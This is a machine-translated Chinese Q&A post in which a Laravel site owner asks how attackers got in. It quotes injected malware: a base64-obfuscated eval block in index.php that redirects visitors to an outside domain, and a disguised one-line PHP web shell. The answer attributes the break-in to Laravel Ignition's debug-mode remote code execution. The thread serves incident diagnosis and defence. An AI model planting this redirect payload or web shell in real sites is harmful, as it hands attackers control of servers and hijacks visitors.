php - 关于恶意代码 aeR4Choc 注入(inject)的安全漏洞的问题

Question

我有一个使用 livewire php7.4 运行 laravel8 的家庭网络服务器
今天我在检查服务器上的源代码时遇到了重定向攻击，我发现我的源代码有这 2 个更改。
公共(public)/index.php

/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6LyI7CiAgICAkY2hlY2tDb29rUmVkaXJTdHIgPSAiYWVOZWU4cGkiOwogICAgJHJlZGlyZWN0QWxsb3cgPSB0cnVlOwogICAgZm9yZWFjaCAoJF9DT09LSUUgYXMgJGNvb2tLZXk9PiRjb29rVmFsKXsKICAgICAgICBpZiAoc3RycG9zKCRjb29rS2V5LCAnd29yZHByZXNzX2xvZ2dlZF9pbicpICE9PSBmYWxzZSB8fCAkY29va0tleSA9PSAkY2hlY2tDb29rUmVkaXJTdHIpIHsKICAgICAgICAgICAgJHJlZGlyZWN0QWxsb3cgPSBmYWxzZTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgICR1YWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgogICAgaWYgKCRyZWRpcmVjdEFsbG93KXsKICAgICAgICBpZihpc01vYmlsZSgkdWFnZW50KSB8fCBpc0Rlc2t0b3AoJHVhZ2VudCkpIHsKICAgICAgICAgICAgc2V0Y29va2llKCRjaGVja0Nvb2tSZWRpclN0ciwgIjEiLCB0aW1lKCkgKyA2MDQ4MDApOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkcmVkaXJUbyIpOwogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgfQp9'));/*aeR4Choc_end*/

公共(public)/wJr2TTgX.php

<?php
// do not delete this file!
define("LaravelLicense", "193582933013");
extract($_POST);$c($f, $a);include $f;

我的问题是允许这种情况发生的安全设置缺陷是什么？

Answer 1

部分解决方案与更新您的 laravel 有关
今天，由于 GoogleAds 的评论警告我的网站有病毒，我意外地发现我的系统被感染了
所以你可以看到它是关于什么的，在你的访问日志中查看以下行:

POST /_ignition/execute-solution

......你会看到下面几行你会看到另一个帖子:

POST /wJr2TTgX.php HTTP / 1.1 "200 43

要查看完整说明，请点击此链接:
https://www.ambionics.io/blog/laravel-debug-rce
编辑:您可以随时编辑 .env您向世界公开的文件并将其投入生产模式。该漏洞仅在 Debug模式下发生。